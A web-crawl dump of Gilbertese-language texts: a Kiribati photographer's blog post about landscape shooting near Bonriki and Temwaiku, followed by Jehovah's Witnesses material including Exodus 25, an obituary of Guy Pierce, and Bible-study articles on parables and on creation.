KOIL ao ni kaea tabon te uabu are e mena iai kambwana aika KPA ma te CPP. Aio ngkanne te tabo ae e a reke iai ara tamnei ae ko noria aio. I rawea te tamnei aei mai rarikin oon ana tangke ni bwa te Koil. Tao ngkami ake kam tuai man totoua te kawai aio ke te tabo aio ao e a reke ngkai ami tai n noria n te tamnei aei.\nI aki kabongana te tripod bwa I a bon handheld au camera – ngkai e tuai roko au tripod are I kakantaningaia. Ngkana e roko ao tao e na kona ni katamaroai riki ara tamnei.\nI rawea te tamnei aei inanon teuana te nei ake i akuun te aobiti are e tararua te Eco Farm are n te Ananau Causeway imarenan Bikenibeu ma Bonriki Internationa Airport. Te bong bon Moanibong 4 bongin Tebetembwa te ririki aio.\nIai te uatiman are e tataruai neei akanne aingaia are e tamaroa bwa e na ataaki bukin riniu ma au kaa nakon taian nei ake i akuuia rake. I tekeraoi bwa e kariaiakaki rinin au kaa aingaia are I a boorake ni kakaea te tabo ma te bwai ae N na kamatakuko iai. Ibuakon au tamnei aika a bati ake I rawei n te tabo aei, ao aio teuana ma buakoia. Au kantaninga bwa e reke am tai n noora te tabo aio ngkoe are ko tuai man roko ikai.\nTiaki tibwa rokou aio n te tabo aio ma tao ai au kauoua ke kateniua. Ma rokou n te tai aio – ao I rangi ni kubanako bwa te nei ngkoa aio e iabuti ao ko aki kona n ruo ke n nakonako inanona. N tarakina ngkana e iabuti ao te kantaninga iai bwa ko kona n ribunako ni mwakorona tabeua ake a nano mani bokaboka. Ai bon aakea te ran ngkai, ao angiin nanona e a mwautakataka. Tera ae karika te mwautakataka aio? Au kantaninga bwa e reke man maanin aki bwaabwakan te karau n te ririki aio! E rabwa bwa e a reke au tai n nakonako inanon te nei aei ao ni kaea nukana ike I a rawea ia te tamnei ae ko noria aei.\nI aki kabongana te tripod ngkai e boobuaka naano ao mani bokaboka naba. I a bon taua naba te camera ni bau ngke I raweia. Te bwai ane e ura karana anne bon te bokaboka are e a mwau. Iai kaneinei aika a uarereke ma aki nano ao ko kona n nakonako iai. Uteuten nanona a rangi ni manguroro ao n tara n rangi ni maeu. E rangi ni kantara tarakin nanon te nei aio ngkai e a mwau ma kanoana aika a bati karaia.\nTi a pause moa ikai ma ti a manga reitia n ara tamnei ae na roko ….\nN te tai aio ao ti a neweabaa ngkanne tanraken Temwaiku – te tabo are uakaan ma te auti are te boratentao (kanga a nang akea rabwatana n noraki n taai aikai). Oin au kantaninga n te tai aio bon rawean tamnein Bonriki International Airport ma iai te angabuaka aingaia are I a toua te kawai are e ritanrake mai tabon te marae are i Bonriki ni biri nako te Temwaiku. Bon 31 n Aokati 2017 te bong aio!\nE tau ma ti a okira rongorongon ara tamnei aio. E a bon kaan tawanou (tao 10am) te tai aio ao are kanga ti aki tain te rawetamnei ae tamaroa bwa are e a moanna ni matoa te riringa ma te oota ike a kona ni kakorakora te maii n te tamnei. I set au camera (dsrl nikon d3100 ma ana kits lens) n aron aikai:- mode bon manual, iso 100, f\/16 ao te shutter ae 1\/250. I aki kabongana te tripos n te tai aio kioina bwa e bikebike te tabo aio ao e aki boraoi aontano. E bati au tamnei ae i rawei n te tabo aei ma aio bon teuana mai buakoia.\nIai ataeinimwane aika 2 aika a mena naba ni uakaan ma te tabo ane i rawetamnei iai. N rokoia irarikiu ao a titirakinai bwa tera ae i raweia ao ibukin tera. I kabwarabwara bwa bon kanoan au kakibotu. N titirakinaia irou bwa tera ao a kakaea riaon te bike ao a taku bwa a kakaei abeaia n roaroa taian mwakauro.\nN aron angiin au tamnei ikai, ao I aki rangi n tatangira te tamnei ae bati te bitaki iai. Riki ngkana e karaoaki n te Photoshop ke software riki tabeua. Engae ngke e rangi n tamaroa te final product ma te kangaanga bwa e a aki rangi ni real the scene. E tau ti a manga nora karaoan au tamnei aio n te photoshop bwa I ti karokoi taian colors, teutana te crop mai nano, te shapening ma te noise reduction. Akea te object ae I added ke deleted. N tokin te tai ao I kukurei bwa e kaoti raoi are bon ngaia ngke I taraia ni matau.\nNote:- Te tamnei aio bon ti 816×457 pixels. Ngkana ko tangira te original pixels ao reitaki ma ngai bwa N na anganiko te link ibukin te original file ae 4608×2580 pixels ao 356kb. Ai aron naba au tamnei ni kabane ikai – are ngkana ko kani kabonganai ao reitaki bwa N na anganiko te original file.\nTao mwiin 5am ao I aki tabwara ma I ana au camera ma au tripod ao man ruo nakon te kaa. A tuai uti kaain batau bwa are e tuai rangi n ota aingaia are I a bonako naba. N rokou n te main road ao e tara n tuai tabetabe nanon te kawai bwa tao ti irawaa te kaa are I kaitibo ma ngaai.\nI buti nako tabon Bikenibeu Mainuku bwa N na kaea au tabo are I a tia ni iangoia bwa N na karekei au tamnei iai. I a kakaraurau ngkanne ni buti n te causeway are i marenan Bikenibeu ma Bonriki ao e tara ni karako te aomata ni ririaki n te tabo anne.\nI bwakee ni ira te kawai are e rinnako nako rarikin taian nei – kanga ni uakaan ma akuun te tabo are a tei iai mwaneaban taian abamwakoro i Temwaiku. Ngke e reke ranenen au kaa n rinnako nakon rarikin taian nei ao I a park ao man set naba au camera ma au tripod. N tauraoia ao I a waakina au rawetamnei ao ngaia aio teuana mai buakoia.\nNgke arona bwa ko mena irarikiu n te ingabong aio ao ko na bon aroka boin te nei ae kakaonoti ma iriana are namakinan karekaren te ang mai mainiku ae kakamaeu man a mwaitoro. Ma akea au nanououa bwa ko kona n namakina mwaitoron te ang ti man tarakin te tamnei aio. Ao boin te nei? E tau bwa ko aki roko moa iai, ke kanga?\nEng, I bon kabongana te rawetamnei are e aranaki bwa te panorama ao e vertical tein au camera bwa e aonga n mwaiti riki objects aika a reke (ground nakon te sky) n au tamnei.\nN okiran au auti (tao mwiin 8am) ao I a karaoa au tamnei aio ni kabongana te Photoshop CS4. E karako te bwai ae I karaoia nakon au tamnei aio bwa ti te:- panorama, te cropping, te colour adjustments ao ai te sharpening n aron ae ko noria ngkai.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/aerophotoblog.com\/page\/4\/","date":"2018-04-26T03:31:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948064.80\/warc\/CC-MAIN-20180426031603-20180426051603-00066.warc.gz","language":"gil","language_score":0.9998764992,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998764991760254}","num_words":2181,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"25 E taku ngkanne Iehova nakoni Mote: 2 \"Tuangia tibun Iteraera bwa a na angabwai nakoiu. Kam na butimwaei angabwai nakoiu mairouia aomata nako ake a ueke nanoia ni kan anga.+ 3 Aio te angabwai ae kam na butimwaeia mairouia: te koora,+ te tirewa,+ te buraati,+ 4 te karai ae buruu, te karai ae beboo ae buraen te tiibu,* te karai ae uraroo,* te rinen ae raoiroi, buraen te kooti, 5 kunin te tiibu mwaane ae kaurauraaki, kunin te tiire, te kai ae te aketia,+ 6 bwaan taian taura,+ te batiam* ibukin te bwaa ae tabu+ ma baika boiarara,+ 7 ao atibu aika oniki* ma atibu riki tabeua ake a na nim i aon te ebota+ ma te uba.*+ 8 A na karaoa te tabo ae tabu ibukiu ao N na maeka* i buakoia.+ 9 Kam na karaoa te umwanrianna ae tabu* ma bwain nanona nako, ni kakairi raoi n teina* ae I kaotia nakoim.+ 10 \"A riai ni karaoa te ati man te kai ae te aketia, ae uoua ao te iterana te mwanokunibai* abwakina ao teuana ao te iterana te mwanokunibai raababana ao teuana ao te iterana te mwanokunibai rietana.+ 11 Ao ko na kanimwa te koora ni koaua ni kabutaa.+ Ko na kanimmwa i tinanikuna ao i nanona, ao ko na karaoa mataniwina n te koora ni katabwaninna.+ 12 Ao ko na kaburoi n atoi aua mwamwana aika koora ao kanimwi i etani waena ake aua, uoua te mwamwa n iterana teuana ao uoua te mwamwa n iterana are teuana. 13 Ao ko na karaoi kaai man te kai ae te aketia ao rabuni n te koora.+ 14 Ko na karini kaai akanne i nanoni mwaamwa ake n iteran te Ati ni kauaitera bwa e aonga n uotaki iai te Ati. 15 A na tiku kaai akanne i nanoni mwamwan te Ati. A na aki buutaki mai iai.+ 16 Ko na kaaki i nanon te Ati ni Berita baaba* ake N na anganiko bwa bwaai ni kaotioti.+ 17 \"Ko na karaoa rabunana* man te koora ni koaua, ae uoua ao te iterana te mwanokunibai abwakina ao teuana ao te iterana te mwanokunibai raababana.+ 18 Ko riai ni karaoi kerubim* aika uoman aika koora. Ko na ororea te koora n te aama ni karaoi rabwataia iai i tabon rabunan te Ati ni Berita ni kauaitera.+ 19 Karaoi kerubim i tabon rabunan te Ati ni Berita ni kauaitera, te kerubim temanna i aon tabona are teuana ao te kerubim are temanna i aon tabona are teuana. 20 A riai kerubim n taakini baia ni kiba aika uaai nako eta, n rabuna aon rabunan te Ati ni Berita ni baia ni kiba,+ ao a na kaaitara. A na baraaki kerubim aikai ni kaitaraa rabunan te Ati ni Berita. 21 Ko na katokaa rabunan+ te Ati ni Berita i aona, ao ko na kaaki i nanon te Ati ni Berita baaba ake N na anganiko bwa bwaai ni kaotioti. 22 N na kaoti nakoim ikekei ao n taetae ma ngkoe mai etan rabunan te Ati ni Berita.*+ N na kaotii nakoim bwaai ni kabane ake N na tua nakoim ibukia tibun Iteraera, mai marenaia kerubim ake uoman ake a mena i aon te Ati ni Berita.* 23 \"Ko na karaoa naba te taibora teuana+ man te kai ae te aketia, ae uoua te mwanokunibai abwakina ao teuana te mwanokunibai raababana ao teuana ao te iterana te mwanokunibai rietana.+ 24 Ko na kanimwa iai te koora ni koaua, ao karaoa mataniwina n te koora ni katabwaninna. 25 Ko na karaoa mataniwina ae raababan te rauraunibai* ni katabwaninna ao ko na katamaroaa n te koora ni katabwaninna. 26 Ko na karaoi mwamwana aika aua man te koora ao kaaki mwaamwa aikai ni maninganinga ake aua ake a nim iai rangana ake aua. 27 A riai ni kaan mwaamwa aikai ma mataniwina, bwa bwain tauani kaai ake e na uotaki iai te taibora. 28 Ko na karaoi kaai akanne man te kai ae te aketia ao n rabunna n te koora, ao uota iai te taibora. 29 \"Ko na karaoi naba raurauna ma mwangkona ma ana tiaeki ma boorana are e na kabwaroaki mai iai te karea ae te moi. Ko na karaoi man te koora ni koaua.+ 30 Ao ko na katokaa te bwerena ae kaotiotaki i aon te taibora i matau n taai nako.+ 31 \"Ko na karaoa te kaintaura+ man te koora ni koaua. E riai n ororeaki n te aama ni karaoaki iai. A na karaoaki man te mwakoro ni koora ae tii teuana kaintein te kaintaura ma kaina are a na otinako mai iai mwaangana, mwangkongkona, buutokona, ao ueena.+ 32 Ao a na otinako onoua mwaangan te kaintaura mai rarikina, tenua mwaangana mai rarikina are teuana ao tenua mwaangana mai rarikina are teuana. 33 A na mena tenua mwangkongkona aika aekakin ueen te amon ni katoai mwaangana n te itera teuana, ma buutokona ao ueena aika karemarena, ao tenua mwangkongkona aika aekakin ueen te amon ni katoai mwaangana ake n te itera are teuana, ma buutokona ao ueena aika karemarena. Aio aroni mwaanga aika onoua n otinako mani kain te kaintaura. 34 Iai taiani mwangkongko aika aua i aoni kain te kaintaura aika aekakin tein ueen te amon, ma buutokona ao ueena aika karemarena. 35 E na mena te buutoko i aani moani mwaanga aika uoua aika otinako mani kaina, ao iai naba te buutoko i aani mwaanga ake uoua riki, ao iai naba te buutoko i aani mwaanga ake uoua riki, bwa a otinako mwaanga aika onoua mani kaina. 36 A bane buutokona ma mwaangana ma te kaintaura ae bwanin ni karaoaki man teuana te mwakoro ni koora ni koaua ae ororeaki n te aama.+ 37 Ko na karaoi taurana aika itiua, ao ngkana a kauraaki taura, ao a na kaotaa te tabo are i moana.+ 38 A na karaoaki man te koora ni koaua taati ake a kabonganaaki ibukin tauani wikina ma baan ake nneni wikin taura ake a a tia ni kabonganaaki.+ 39 E riai ni karaoaki ma bwaina aikai, man te koora ni koaua ae teuana te tarena* rawawatana. 40 Taraia bwa ko na karaoi baikai ni katotongi teia* ake a kaotaki nakoim i aon te maunga.+\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"buraen te tiibu ae karanaki n te beboo.\"\n^ Karanaki man te man ae uarereke ae te coccus.\n^ Nora Nanon Taeka, \"Atibu aika rangi ni kakawaki.\"\n^ Ke, \"katea au umwanrianna.\"\n^ Ke, \"taamneina.\"\n^ E kaineti aei nakoni baaba aika a mena iai Tuua ake Tebwina.\n^ Te ati ae kanoana bwaai ni kaotioti.\n^ Ke, \"taamneia.\"","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-otinako\/25\/","date":"2018-04-22T03:03:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945484.58\/warc\/CC-MAIN-20180422022057-20180422042057-00551.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1049,"character_repetition_ratio":0.087,"word_repetition_ratio":0.04,"special_characters_ratio":0.238,"stopwords_ratio":0.418,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"GUY HOLLIS PIERCE, boni kaain te Rabwata n Tautaeka ibukia Ana Tia Kakoaua Iehova are e toki maiuna i aon te aba n te Kauabong, ni Maati 18, 2014. Bon 79 ana ririki ngke e a kakoauaaki raoi iai ana kantaninga, are ngaia naba temanna mai buakoia tarini Kristo ake a kautaki nako karawa.\nE bungiaki Guy Pierce n te kaawa ae Auburn i California U.S.A, n Nobembwa 6, n 1934 ao e bwabetitoaki n 1955. E mare ma buuna ae tangiraki irouna ae Penny n 1977 ao a katei utu. E riki bwa te karo ae tatangira ni baike e a tia n rinanoi ngkai bon te mwaane ngaia ae iai ana utu. N 1982, e katabetabea n te mwakuri ni bwaiania ma Penny ao n 1986, e a moana ana mwakuri ae maanna 11 te ririki bwa te mataniwi n te aono ae uarereke n te United States.\nA moana aia beku Guy ao Penny Pierce n te utu ni Betaera n te United States n 1997. E beku Brother Pierce n te Aobiti Ibukin te Mwakuri ao e rineaki n 1998 bwa te tia ibuobuoki n te Personnel Committee n te Rabwata n Tautaeka. E katanoataaki rikin Brother Pierce bwa kaain te Rabwata n Tautaeka n Okitobwa 2, 1999 n ana boowi ae kakaraoaki ni katoa ririki te Watch Tower Bible and Tract Society of Pennsylvania. N ririki aika tibwa nako, e mwakuri ma komete ibukin te Personnel, ake a tabe ma Rongorongo, Boreetian Booki, ao Taani Babaire.\nA katikaki naba nanoia aomata aika kakaokoro aroia ao kateia iroun Brother Pierce, ibukin anuana ae e momoangare ao ni kukukurei. Ma e ngae n anne, aroarona riki ake e taatangiraki iai irouia aomata bon te tangira, te nanorinano, karinean ana tua te Atua aika raraoi ma booto n reirei ao onimakinan Iehova ma nanona ni kabane. Ai aron ae e iangoia Guy Pierce bwa e kai reke riki ae e na aki oti taai, nakon ae e na aki kakoroi bukin ana berita nako Iehova. E tangiria ni kabutaa te koaua anne nakoia kaain aonnaba ni kabane.\nE mwakuri korakora Brother Pierce n ana beku ibukin Iehova, e utimwaaka n te ingabong ni moana ana mwakuri ni karokoa e tairaa n angiin te tai. E mwamwananga ni katobibia te aonnaba ibukini kaungaaia tarina ni Kristian aika mwaane ma aine. E kamwawaa naba ana tai ibukia kaain te utu ni Betaera n tatabemania nako ao tabeman riki ake a kainnanoa te iraorao ma ngaia, ana taeka n reirei ao ana ibuobuoki. A bon ururinga ana akoi, ana tangira ao ana kaungaunga man te Baibaira raona n te onimaki imwin ririki aika bati.\nE kakorakoraaki tarira ao raoraora ae tatangiraki aei irouni buuna ma natina aika onoman, ni kotaki naba ma tibuna ao tibutoruna. Iai naba natina n te onimaki aika mwaitkurikuri. E karaoaki te kabwarabwara ibukini kauringaan Brother Pierce irouni Brother Mark Sanderson ae kaain naba te Rabwata n Tautaeka, n te Betaera i Brooklyn n te Kaonobong ni Maati 22, 2014. Ibuakoni bwaai riki tabeua, e taekina ana kantaninga Brother Pierce ae te nako karawa ao e wareki ana taeka Iesu aikai: \"A mwaiti taabo ni maeka n ana auti Tamau. . . . Ao ngkana I nako ni katauraoa te tabo ibukimi, ao N na manga roko ni butimwaeingkami, bwa ike I mena iai ao kam na mena naba iai. Ao kam ataa te kawai are N na nako iai.\"\nNi koauana, ti na rangi n ururingi aroaroni Brother Pierce. Ma e ngae n anne, ti kimwarerei bwa e \"ataa te kawai\" nakon ana 'tabo ni maeka' n aki totoki.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20141215\/guy-pierce-te-rabwata-n-tautaeka-mate\/","date":"2018-04-27T08:53:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524127095762.40\/warc\/CC-MAIN-20180427075937-20180427095937-00492.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":584,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAIKONAKI AE TE AINE AE MATE BUUNA AE OKIOKI NI BUBUTII\nTE BARITAIO AO TE TIA RIKOA TE TAEKITI\nE a kaman taekina te kaikonaki Iesu nakoia taan rimwina ae taekan te botumwaaka n tataro. (Ruka 11:5-13) Tao e mena ngkai i Tamaria ke i Kariraia, ao e a manga kabwarabwaraa riki kainnanoan te botumwaaka n tataro. E karaoa anne n te kaikonaki ae kangai:\n\"N te kaawa teuana ao iai temanna te tia moti ae aki mamaaka te Atua ao e aki ataa te riai nakoia aomata. Ao iai naba n te kaawa anne te aine ae e a tia ni mate buuna, ae e aki toki ni kawaria ma n taku, 'Taraia bwa e na reke irou te kaetitaeka ae riai ni kaineti ma ane e kaitaraai.' Ma e aki kani buoka te aine aei teuaei i nanon te tai ae maan, ma imwina riki ao e a taku i bon irouna, 'E ngae ngke I aki mamaaka te Atua ao I aki ataa te riai nakoia aomata ma ibukina bwa e aki karauai te aine ae e a tia ni mate buuna aei, N na taraia ngkai bwa e na reke irouna te kaetitaeka ae riai, bwa e aonga n aki manga roroko ni katabeaiangaai n te bwai ae e tangiria.'\"—Ruka 18:2-5.\nE taku Iesu ni kaineti ma nanon ana kaikonaki: \"Kam ongo ana taeka te tia moti aei, e ngae ngke e buakaka? Ao tiaki e na boni karaoa te kaetitaeka ae riai te Atua nakoia ana koraki aika rineaki ake a tang nakoina ni ngaina ao ni bong, ngkai e bon taotaona naba nanona nakoia?\" (Ruka 18:6, 7) Tera ae e katerea Iesu ibukin Tamana?\nE bon aki nanonna Iesu ae Iehova ae te Atua titeboo ma te tia moti are buakaka arei. Ma aio te bae nanonna: Ngkana te tia moti ae te aomata ae buakaka e kaekaa te bubutii ae okioki, ao te Atua e na boni karaoa naba anne. E bon raoiroi ma n eti, ao e na kaekaia ana aomata ngkana a botumwaaka n tataro. Ti kona ni kakoauaa anne man ana taeka Iesu aei: \"I tuangingkami, bwa e na boni kawaekoaa karekean te kaetitaeka ae riai nakoia [te Atua].\"—Ruka 18:8.\nN angiin te tai e aki karaoaki te kaetitaeka ae riai nakoia aomata aika mangori ma aika maiu ni kainnano, ma a tabeakinaki riki aomata aika kakannato ma aika kaubwai. Ma tiaki anne aron te Atua. Ngkana e a roko ana tai, ao e na taraia raoi bwa a na katuuaaeaki akana buakaka, ao ana aomata a na karekea te maiu are aki toki.\nAntai ae iai ana onimaki n aron te aine are e a tia ni mate buuna arei? Iraman aika kakoauaa raoi ae te Atua e na \"boni kawaekoaa karekean te kaetitaeka ae riai nakoia\"? E a tibwa tia Iesu ni kaota kainnanoan te botumwaaka n tataro. E a titiraki ngkai ni kaineti ma te onimaki ae irekereke ma mwaakan te tataro ni kangai: \"Ngkana e roko Natin te aomata, te koaua bwa e na kunea te onimaki aei i aon te aba?\" (Ruka 18:8) E nanonaki iai bwa e na karako te aeka n onimaki aei ngkana e a roko Kristo.\nIai tabeman ake a ongora iroun Iesu ae a taku bwa e korakora aia onimaki. A kakoauaia i bon irouia bwa a raoiroi, ma n taraiia tabemwaang bwa a buakaka. Ngaia are e a kainetiia Iesu n ana kaikonaki ae kangai:\n\"A waerake uoman mwaane nakon te tembora bwa a na tataro, temanna te Baritaio ao temanna te tia rikoa te taekiti. E tei te Baritaio ao e a tataro ni kangai i nanona, 'Te Atua, I kaitauko ngkai tiaki aroia aomata nako ngai, aika babakanikawai, a buakaka, ao a wene ni kimoa, ke tiaki naba aron te tia rikoa te taekiti aei. I aki mamatam uoua te tai n te wiki, ao I anganga te kabwianibwai ni bwaai ni kabane aika reke irou.'\"—Ruka 18:10-12.\nA kinaaki Baritaio n aroia ae te kani kaotiotiia bwa a raoiroi i mataia aomata. A karaoa anne ibukin anaakin nanoia aomata. A aki mamatam ni katoa Moanibong ao Kaabong, ae boong aika a bati iai aomata n taabo ni mwakete, ike a na noraki iai irouia aika bati. Ao a kakabwakai naba aia kabwianibwai, e ngae naba ngkana aroka aika uarereke. (Ruka 11:42) Tabeua te namwakaina n nako ao a kabuakakaia aomata aika mangori ni kangai: \"A a boni maraia te koraki aei aika aki ataa te Tua [ni kaineti ma aia taratara Baritaio].\"—Ioane 7:49.\nE reita ana kaikonaki Iesu ni kangai: \"Ma e tei te tia rikoa te taekiti i kiraroa ao e rawa ni kan euti naba matana teutana nako karawa, ma e ororea bwabwaana, ao e kangai, 'Te Atua, ko na atataiaomata nakoiu bwa te tia bure ngai.'\" Eng, e bon nanorinano te tia rikoa te taekiti ni kaotii ana bure. E motikia ni kangai Iesu: \"I tuangingkami, bwa e oki rikaaki te aomata aei nakoni mwengana ao e noraki bwa e raoiroi riki nakon te Baritaio arei, ibukina bwa ane e karietataa ao e na karinanoaki, ma ane e karinanoa ao e na karietataaki.\"—Ruka 18:13, 14.\nE katerea ikai Iesu kainnanoan te nanorinano. Bon anne te reirei ni kairiri ae manena ibukia taan rimwina, ake a kaikawaaki n te tabo ae e kaungaaki iai karekean te nakoa ao te kani kakannato irouia Baritaio aika kakan raoiroi. Ao bon te reirei ni kairiri naba ibukia taan rimwin Iesu ni kabane.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-mainikun-ioretan\/kainnanoan-te-tataro-ao-te-nanorinano\/","date":"2018-04-25T11:48:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947795.46\/warc\/CC-MAIN-20180425100306-20180425120306-00311.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":904,"character_repetition_ratio":0.061,"word_repetition_ratio":0.002,"special_characters_ratio":0.235,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A OKORO AOMATA N AANGA AIKA BATI—TI KOROBOKI, TI KOROTAAMNEI, TI KARAOBWAI, AO TI IANGOI TITIRAKI AIKA KAKAWAKI IBUKIN TE MAIU: Bukin tera ngkai e riki te iuniweeti? Ti kangaa n riki? Tera te kantaninga ibukin te maiu? Tera te kantaninga nakon taai aika a na roko?\nTabeman a aki kan iaiangoi titiraki akanne bwa a taku bwa akea ae ataa kaekaaia. Ake temwangina a taku bwa akea uaan titiraki akanne kioina ngkai te maiu aei e riki man te ewarutin ae akea te babaire iai. E taku te tia rabakau i aon rongorongon rimoa ao baika maiu ae William Provine: \"Akea taian atua, ao akea naba te babaire ibukin taai aika imwaira. Akea te bae e kona n onimakinaki ae riai ni kabotoaki iai ataakin te aroaro ae riai, ao akea manenan te maiu aei.\"\nMa a iangoia tabeman bwa a aki raoiroi iango aikai. A noria bwa bwaai ni kabane n te iuniweeti aei a bane ni baireaki raoi ao a kairaki i aan tuua aika kaineti ma te rabakau ae te numera. A mimi n tamaroan teini baika karikaki, ao tabeua mai iai a a manga kataia ni katotongi aomata n aia karaobwai. Ao a kakoauaa mani baike a rinanoi ni katoabong bwa baika kamimi aroia, a boni karikaki iroun te tia karaobwai ae te kabanea ni wanawana.\nMani baikanne are a a kairaki iai tabeman aika kakoauaa te ewarutin bwa a na manga iangoa riki otaia anne. Nori katoto aika uoua aikai.\nDR. ALEXEI MARNOV AE TE TIA KOROKORO I AON TE KABURORO. E taku: \"I reireinaki ae akea te Atua ao te ewarutin n te reirei are I kaea. A iangoaki naake a kakoauaa ae iai te Atua bwa akea aia ataibwai.\" Ma n 1990 ao e a bitaki ana iango teuaei.\nE kabwarabwaraa ni kangai: \"I a kamani kan ataia bwa tera raoi manenani bwaai n ikotaki ma kaburoron te aomata. E tau n aranaki bwain te rabwata ae kamimi aei bwa te kabanea ni kaminomino arona i buakoni baika karikaki. Ma te koaua bwa e karikaki te kaburoro tii ibukini karekean te rabakau ao te wanawana ao imwina e mate? E taraa n ae e kabanetai ao akea nanona. Ngaia are I a iangoa aei: 'E aera ngkai ti mena ikai? Tera te kantaninga ibukin te maiu?' Imwin iaiangoan titiraki aikai, I a kakoauaa ae bon iai te tia Karikiriki.\"\nE kairaki Alexei n ukeran te kantaninga ibukin te maiu bwa e na nenera te Baibara. Imwina riki ao e a manga reiakina te Baibara buuna ae te taokita naba are e aki naba kakoauaa ae iai te Atua, ma n te moantai ao e tii kani kaotia neiei bwa e kairua buuna! Ma ngkai ao a a uaia ni kakoauaa raoi bwa iai te Atua ao a a ota n ana kantaninga ibukia aomata n aron ae kaotaki n te Baibara.\nDR. HUABI YIN AE TE TIA RABAKAU NI BWAIN TE AONNABA. E reirei neiei i aon te physics ao e kabanei ririki aika bati ni kamatebwaia taai. E taku: \"Ngkana ti kamatebwaia aroni baika karikaki ngaira aika taan rabakau, ao ti nonoria bwa a baireaki raoi bwaai ao a irii tuua aika eti raoi. Ngaia are I a titiraki i nanou, 'A reke mai ia tuua aikai? Ngkana ngaia bwa te ai ae uarereke ibukin te kuuka, e kainnanoa tiatianakin urana, antai ngkanne ae bairei raoi tuua ake a tiatiana kabuebuen taai?' I a kakoauaa imwina bwa te kaeka ae rangi n eti, bon te moani kibuntaeka n te Baibara are kangai: 'N te moantai ao e karika karawa ma te aonnaba te Atua.'\"—Karikani Bwaai 1:1.\nNi koauana, e a tia te rabakau n aonnaba ni kaekai titiraki aika bati, aika irekereke ma te taeka ae \"e kangaa\" n aron: A kangaa ni mwakuri cells aika n te kaburoro? Ao e kangaa taai n anga te kabuebue ao te oota? Ma n aron ae a kunea Alexei ao Huabi, e a tia te Baibara ni kaekai titiraki aika kakawaki riki aika irekereke ma te taeka ae \"bukin tera\" n aron: Bukin tera ngkai e riki te iuniweeti? Bukin tera bwa e kairaki n tuua? Ao bukin tera ngkai ti riki?\nE kangai te Baibara ni kaineti ma te aonnaba: \"E aki karaoia [te Atua] bwa e na matebuaka, ma e karaoia bwa e na maekanaki.\" (Itaia 45:18) Eng, iai ana kantaninga te Atua ibukin te aonnaba, ao n aron ae e na kaotaki n te kaongora ae imwina, e irekereke riki ma ara kantaninga ibukin taai aika imwaira.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taratara-na1-2018-maati-eberi\/kawai-nakon-te-kukurei-te-kantaninga-n-te-maiu\/","date":"2018-04-21T05:11:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944982.32\/warc\/CC-MAIN-20180421032230-20180421052230-00237.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":754,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A rangi ni kimwareirei abotoro aika 12 aikai n aia uarongorongo i Kariraia, ao a karakini nakon Iesu \"bwaai ni kabane ake a a tia ni karaoi ao ake a a tia n reireinia aomata iai.\" A a boni kua ao e aki naba reke aia tai n amwarake ibukina bwa a rangi ni bati aomata aika roko ao n nako. Ngaia are e taku Iesu: \"Kam na irai bwa ti na nako ni kaokoroira n te tabo ae raroa ao kam na motirawa iai teutana.\"—Mareko 6:30, 31.\nA tokara aia booti tao i rarikini Kaberenaum ao a buti ni kaineta te tabo ae aki roroko te aba iai, i mainikun aonon te Karaanga ae Ioretan ae raroanako ma Betetaita. Ma a bati aomata aika noriia n nako ao iai naba ake a ataa te tabo are a na nako iai. A bane ni biri rimoaia n rimataniwin te aba, ao ngke e a roko te booti ao a a mena ikekei.\nNgke e aerake Iesu man te booti, ao e a noriia te koraki ae bati ao e nanoangaiia bwa ai aroia tiibu aika akea te tia kawakinia. Ngaia are \"e a reireinia baika bati\" ibukin te Tautaeka n Uea. (Mareko 6:34) E katoki naba aorakia \"akana kainnanoa kamarurungaia.\" (Ruka 9:11) Imwina riki ao a kangai taan rimwina nakoina: \"E raroanako te tabo aei ao e a bwakanako te tai, mangaia ae ko na kanakoia te koraki bwa a na nako ni kabooi kanaia i nanoni kaawa.\"—Mataio 14:15.\nE kaeka Iesu ni kangai: \"A aki riai n nako, ma kam na angania kanaia.\" (Mataio 14:16) E ngae ngke 